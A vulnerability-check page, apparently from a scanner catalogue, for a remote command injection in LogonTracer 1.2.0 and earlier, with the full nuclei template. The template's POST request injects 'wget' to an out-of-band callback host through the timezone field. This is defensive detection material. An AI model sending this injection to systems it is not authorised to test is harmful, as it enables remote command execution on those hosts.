LogonTracer <=1.2.0 - Remote Command Injection

criticalseverity

9.8CVSS score

74.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

LogonTracer 1.2.0 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.

Fix

Upgrade LogonTracer to a version higher than 1.2.0.

How to confirm it

Send: POST /upload
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2018-16167 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-16167

info:
  name: LogonTracer <=1.2.0 - Remote Command Injection
  author: gy741
  severity: critical
  description: LogonTracer 1.2.0 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade LogonTracer to a version higher than 1.2.0.
  reference:
    - https://www.exploit-db.com/exploits/49918
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16167
    - https://jvn.jp/en/vu/JVNVU98026636/index.html
    - https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.1
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16167
    cwe-id: CWE-78
    epss-score: 0.74916
    epss-percentile: 0.99507
    cpe: cpe:2.3:a:jpcert:logontracer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jpcert
    product: logontracer
  tags: cve,cve2018,rce,oast,edb,logontracer,intrusive,jpcert,vkev,vuln

http:
  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        logtype=XML&timezone=1%3Bwget+http%3A%2F%2F{{interactsh-url}}%3B

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - http

References

Use this check only on systems you are authorised to test. Where the data comes from